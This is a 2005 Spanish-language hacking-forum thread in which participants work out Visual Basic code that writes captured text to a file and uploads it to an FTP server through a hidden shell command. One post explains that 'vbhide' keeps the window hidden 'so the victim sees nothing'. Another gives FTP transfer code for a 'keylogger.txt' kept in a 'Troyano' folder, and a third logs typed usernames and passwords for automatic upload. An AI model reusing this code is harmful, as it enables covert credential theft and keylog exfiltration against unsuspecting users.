Título: mandar txt a email Publicado por: d@r10 en 14 Octubre 2005, 21:26 pm hola q tal esoty haciendo un programa y bueno todo el contenido de un texbox lo guardo en archivo de texto pero no se como mandar a un email , podrian ayudarme a desarrollar este pequeño programa he buscado en este foro y en google pero el codigo es muy largo lo que quierop es envar 2 textbox o el archivo de texto a un email espero q me ayuden a desarrollar este programa ;D
Título: Re: mandar txt a email Publicado por: NYlOn en 14 Octubre 2005, 22:11 pm MANDAR EMAIL POR SMTP (http://foro.elhacker.net/index.php/topic,72560.0.html)[/b]
Citar el codigo es muy largo lo que quierop es envar 2 textbox o el archivo de texto a un email Modificalo y usa solo la parte que necesites Título: Re: mandar txt a email Publicado por: yeikos en 14 Octubre 2005, 23:30 pm Yo la mensajería mail la veo la más insegura de todas puesto que no es fiable, te puede fallar en cualquier momento.
Lo mejor es usar el FTP del command, ya sabes... ftp -s:operaciones.txt 127.0.0.1 Título: Re: mandar txt a email Publicado por: Scratz en 14 Octubre 2005, 23:58 pm Hey! Eso de enviar archivos por ftp de esa manera tan sencilla me interesa. ¿Podrias hablar un poco más de ella?
Gracias Título: Re: mandar txt a email Publicado por: yeikos en 15 Octubre 2005, 00:04 am Código: Open "C:\datos.txt" for output as #1 Sería una cosa así, corrijanme si hay algún fallo, lo que hace es conectarse a ftp.hosting, logearse como usuario y con la contraseña 'password', subir el fichero datos.txt al ftp y cerrar la sesión Título: Re: mandar txt a email Publicado por: Scratz en 15 Octubre 2005, 00:06 am Título: Re: mandar txt a email Publicado por: yeikos en 15 Octubre 2005, 00:11 am Si lees el código completo veras que esa instrucción se incluye, de todas maneras te la voy a describir... ftp » Inicia el servicio ftp -s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan. ftp.hosting.com » Servidor con el que se realizará los servicios. · Dentro de C:\datos usuario » Usuarios para identificarse password » Contraseña para completar la identificación put C:\datos.txt datos.txt » Sube el archivo C:\datos.txt al directorio principal del ftp con el nombre datos.txt bye » Finaliza la sesión FTP Título: Re: mandar txt a email Publicado por: Scratz en 15 Octubre 2005, 00:19 am Ah, vale ;) Gracias
Título: Re: mandar txt a email Publicado por: d@r10 en 15 Octubre 2005, 18:43 pm MANDAR EMAIL POR SMTP (http://foro.elhacker.net/index.php/topic,72560.0.html)[/b] [quote ] ] el codigo es muy largo lo que quierop es envar 2 textbox o el archivo de texto a un email Modificalo y usa solo la parte que necesites Citar no puedo por q no se cual es el codigo q necesito y digo q es muy largo y no lo entiendo , espero q si puedes lo pongas aunque yeikos pueso algo muy bueno quisiera para mandarlo a un mail espero q si sabes me puedas ayudar :).Citar Open "C:\datos.txt" for output as #1 gracias yeikos por tu ayuda ahora podre mandar el txt lo has explicado muy bien q la unica duda es este codigo :write #1, "usuario" write #1, "password" write #1, "put C:\datos.txt datos.txt" write #1, "bye" close #1 shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide Sería una cosa así, corrijanme si hay algún fallo, lo que hace es conectarse a ftp.hosting, logearse como usuario y con la contraseña 'password', subir el fichero datos.txt al ftp y cerrar la sesión shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide por fa podrias explicarme esto para q sirve y q hace , muchas gracias pd: existe la forma de enviarmelo a un mail es q quiero hacer un programa donde el contenido del texbox se guarde en un txt y mandarlo a su mail espero q me puedan ayudar :) Título: Re: mandar txt a email Publicado por: yeikos en 15 Octubre 2005, 23:29 pm Código: shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide shell » Ejecuta... cmd.exe » La aplicación command.exe /c » Con la siguiente serie de comandos... ftp » Inicia el servicio FTP. -s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan. ftp.hosting.com » Servidor con el que se realizará los servicios. vbhide » Ejecuta la ventana del msdos en modo oculto para que la victima no vea nada... Título: Re: mandar txt a email Publicado por: d@r10 en 17 Octubre 2005, 00:08 am Código: shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide shell » Ejecuta... cmd.exe » La aplicación command.exe /c » Con la siguiente serie de comandos... ftp » Inicia el servicio FTP. -s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan. ftp.hosting.com » Servidor con el que se realizará los servicios. vbhide » Ejecuta la ventana del msdos en modo oculto para que la victima no vea nada... hola amigo hoy quize probarlo y nada no puede :( por q cual fue mi ??? error en q me qquivoque hize de todas las formas y nada ??? mi nombre usuario pasword lo demas normal y nada por fa ayudenme mi trabajo esta a un asi Open "c:\dario.txt" For Append As #1 Write #1, Text1.Text Write #1, Text2.Text Close #1 ademas unos de mis intentos borro el contenido del text1 y text2 y me salio con suario paswords byess escritos ??? sera por q en tu ejm esta en output por fa espero q me ayudes ??? Título: Re: mandar txt a email Publicado por: yeikos en 17 Octubre 2005, 16:52 pm Prueba utilizando PUT en vez de WRITE.
Título: Re: mandar txt a email Publicado por: d@r10 en 18 Octubre 2005, 22:37 pm Prueba utilizando PUT en vez de WRITE. man podriasponer como quedaria dicesq le agerege tu codigo o lo ponga aparte ???Título: Re: mandar txt a email Publicado por: la caca en 19 Octubre 2005, 02:32 am la verdad que si te conviene por FTP porque incluso de ser desconfiables los servidores de mail, NO ahi ningun servidor SMTP (para mail) que deje mandar anonimamente los mail, es decir que ahi que loggearse primero.
si queres el de FTP: Código: 'con API's 'Chekea el estado del ITC (poner un INTERNET TRANSFER CONTROL EN EL FORMULARIO), si esta realizando una operacion no hacer nada hasta que termine If itc.StillExecuting Then ITCReady = False If ShowMessage Then MsgBox "Espere por favor, todavia trabajando", vbInformation + vbOKOnly, "Ocupado" End If Else ITCReady = True End If End Function Private Sub Command1_Click() On Error Resume Next 'Colocar un label llamado LBLSTATUS lblstatus = "Conectando" Dim server As String server = "servidor" Dim username As String username = "usuario" Dim password As String password = "contraseña" 'Establecemos el protocolo y el server y el usuario itc.Protocol = icFTP itc.URL = server itc.username = username itc.Cancel 'Establecemos el password y entramos itc.password = password itc.RequestTimeout = 40 itc.Execute , "DIR" 'hace dir Do While itc.StillExecuting DoEvents: DoEvents: DoEvents Loop Dim www As String www = "www/" 'se maneja como el DOS (DIR, CD, CD.., etc..) Dim archivo As String archivo = "keylogger.txt" 'establecemos el archivo itc.Execute , "CD " & Chr(34) & www & Chr(34) 'entramos a la carpeta WWW/ porque asi esta establecido en el string WWW mas arriba 'agregar un list llamado lstremotefile lstremotefile.Clear Do Until ITCReady(False) DoEvents: DoEvents: DoEvents: DoEvents Loop itc.Execute , "DIR" Do Until ITCReady(False) DoEvents: DoEvents: DoEvents: DoEvents Loop Dim dir As String dir = "D:\franco\Visual Basic\Troyano" Kill dir & "/" & archivo itc.Execute , "GET " & Chr(34) & archivo & Chr(34) & " " & Chr(34) & "D:\" & archivo & Chr(34) 'obtenemos archivo End Sub Private Sub Command2_Click() Dim archivo As String archivo = "prueba.txt" Dim dir As String dir = "D:\franco\Visual Basic\Troyano" Dim reemplazar As String reemplazar = "prueba.txt" 'si el ITC no se esta ejecutando enviamos el archivo If ITCReady(True) = True Then 'Enviamos el archivo y refrescamos el LISTBOX itc.Execute , "PUT " & Chr(34) & dir & "\" & archivo & Chr(34) & " " & Chr(34) & archivo & Chr(34) Do Until ITCReady(False) DoEvents: DoEvents: DoEvents: DoEvents Loop lstremotefile.Clear itc.Execute , "DIR" lblstatus = "Conectado" End If End Sub Private Sub Form_Load() 'ahi que loggerase primero para que funcione pone el control INTERNET TRANSFER CONTROL en el formulario llamado ITC RecievingSize = False End Sub Private Sub ITC_StateChanged(ByVal State As Integer) 'Chequea el estado del ITC y lo pone de acuerdo a lo que esta haciendo Dim Data1, RemoteFiles Dim RemoteFileName As String Select Case State Case icResolvingHost 'pone un label llamado LBLSTATUS lblstatus = "Buscando direccion IP" Case icHostResolved lblstatus = "IP ENCONTRADA" Case icConnecting lblstatus = "Conectando" Case icConnected lblstatus = "Conectado" Case icRequesting lblstatus = "enviando pedido" Case icRequestSent lblstatus = "pedido enviado" Case icReceivingResponse lblstatus = "Reciviendo respuesta" Case icResponseReceived lblstatus = "Respuesta recivida" Case icDisconnecting lblstatus = "Desconectando" Case icDisconnected lblstatus = "No conectado" Case icError If itc.ResponseCode = 12030 Then lblstatus = "No conectado" itc.Cancel End If If itc.ResponseCode <> 87 Then MsgBox itc.ResponseCode & " " & itc.ResponseInfo, vbOKOnly + vbCritical, "Error" End If Case icResponseCompleted 'loop hasta conseguir toda la info Do While True Data1 = itc.GetChunk(4096, icString) If Len(Data1) = 0 Then Exit Do DoEvents RemoteFiles = RemoteFiles & Data1 Loop Beep 'si esta reciviendo dice el tamaño y sale de la SUB If RecievingSize Then 'pone un listbox llamado LSTREMOTEFILE MsgBox "El tamaño del archivo es de: " & lstremotefile.Text & " es " & RemoteFiles & " bytes", vbInformation + vbOKOnly, "Size" Exit Sub End If 'Loop hasta conesguir los nombres de todos los archivos del LIST For i = 1 To Len(RemoteFiles) If Mid(RemoteFiles, i, 1) = Chr(13) Then If Trim(RemoteFileName) <> "" Then lstremotefile.AddItem RemoteFileName RemoteFileName = "" End If Else If Mid(RemoteFiles, i, 1) <> Chr(10) Then RemoteFileName = RemoteFileName & Mid(RemoteFiles, i, 1) End If End If Next i End Select End Sub Código:
Título: Re: mandar txt a email Publicado por: la caca en 19 Octubre 2005, 02:34 am me confundi perdon jajaj puse el # al final ejje :P
Título: Re: mandar txt a email Publicado por: ZifuSka en 19 Octubre 2005, 02:46 am a ver que me aclare.... yo tengo:
Citar Private Sub Label2_Click() ahi se me guarda el archivo txt en c:\*******.txt y como hago para que ese archivo se suba automaticamente a un ftp? eske no me aclaro , losiento :-[n = FreeFile(0) Open "c:\" & txtnombre.Text & "-" & txtPass.Text & ".txt" For Output As #n Print #n, txtnombre.Text & " / " & txtPass.Text Close #n End Sub Título: Re: mandar txt a email Publicado por: yeikos en 19 Octubre 2005, 17:05 pm Código: Open "C:\datos.txt" For Output As #1 Título: Re: mandar txt a email Publicado por: la caca en 19 Octubre 2005, 19:03 pm pero con ese codigo abris el CMD (simbolo de sistema)
con el que di yo directamente desde visual basic Título: Re: mandar txt a email Publicado por: NYlOn en 20 Octubre 2005, 01:53 am Citar me confundi perdon jajaj puse el # al final ejje Arriva a la izquierda de tu post hay 3 botones.. uno dice MODIFICAR dale click y mira lo q pasa ;) cya Título: Re: mandar txt a email Publicado por: ZifuSka en 20 Octubre 2005, 02:08 am Citar me confundi perdon jajaj puse el # al final ejje Arriva a la izquierda de tu post hay 3 botones.. uno dice MODIFICAR dale click y mira lo q pasa ;) cya Título: Re: mandar txt a email Publicado por: NYlOn en 20 Octubre 2005, 17:00 pm Si esta a la derecha xDD
pero s0n 3 botones: Citar, Modificar y Borrar ;D salu2 ! Título: Re: mandar txt a email Publicado por: ZifuSka en 20 Octubre 2005, 17:36 pm :o
yo solo tengo citar y modificar :o Título: Re: mandar txt a email Publicado por: NYlOn en 21 Octubre 2005, 00:24 am Citar yo solo tengo citar y modificar 0k ;D----------------------------------------------- Volviendo al tema... intente subir un archivo de texto (.txt) al ftp de yahoo (ftp.es.geocities.com) pero me lo sube en blanco :S No se a q se deve.. .si alguien tiene alguna idea q postee plz ^^ salu2 ! Título: Re: mandar txt a email Publicado por: ZifuSka en 24 Octubre 2005, 04:59 am Yo si he conseguido que funcione. aqui te pongo lo que yo he hecho a ver si te sirve:
Código: Open "C:\datos.txt" For Output As #1 Título: Re: mandar txt a email Publicado por: NYlOn en 24 Octubre 2005, 19:37 pm Yo si he conseguido que funcione. aqui te pongo lo que yo he hecho a ver si te sirve: Código: Open "C:\datos.txt" For Output As #1 Ya solucione mi problema montando un servidor FTP en mi PC ;D gracias iwal x responder... pd. Hice un manual para hacer un servidor FTP, si lo keres leer pasate x Troyanos y Virus (http://foro.elhacker.net/index.php/board,17.0.html) salu2 ! Título: Re: mandar txt a email Publicado por: Tarjet en 26 Octubre 2005, 02:17 am y como hago para q si se encuentra otro archivo con el mismo nombre en el ftp se agrege el log y no se reemplaze o que los valla enumerando???
Título: Re: mandar txt a email Publicado por: ZifuSka en 26 Octubre 2005, 05:22 am yo lo que he hecho es que cada archivo que cree, que se llame de una manera distinta, es decir, pones una caja de texto en la que haya que escribir algo i pones:
Código: open text1.text for output as #1 o otra opcion, es poner un timer que pasador 10 segundos mas o menos despues de subirlo al ftp, haga un kill c:\datos.txt los segundos del timer, depende de lo que tarde en subir el archivo, ya que yo lo probe poniendo el kill justo despues de empezar a subir el archivo y me daba error... supongo por logica que es porke no puedes borrar el archivo mientras esta subiendo al ftp... no se si sera por eso o no el error, prueba a ver... Título: Re: mandar txt a email Publicado por: NYlOn en 26 Octubre 2005, 20:56 pm Para subir un archivo, primero el programa lo tiene q abrir y enviar parte por parte, y como ya se sabe, no se puede eliminar un archivo en uso... x eso t tira error
Título: Re: mandar txt a email Publicado por: Tarjet en 12 Diciembre 2005, 17:50 pm tengo un problema, me funciona bien pero cuando veo el log, esta todo en una linea, todo desordenado y en el fichero antes de enviarlo esta todo ordenado en muchas lineas.
que podra estar pasando?? ayuda xfa |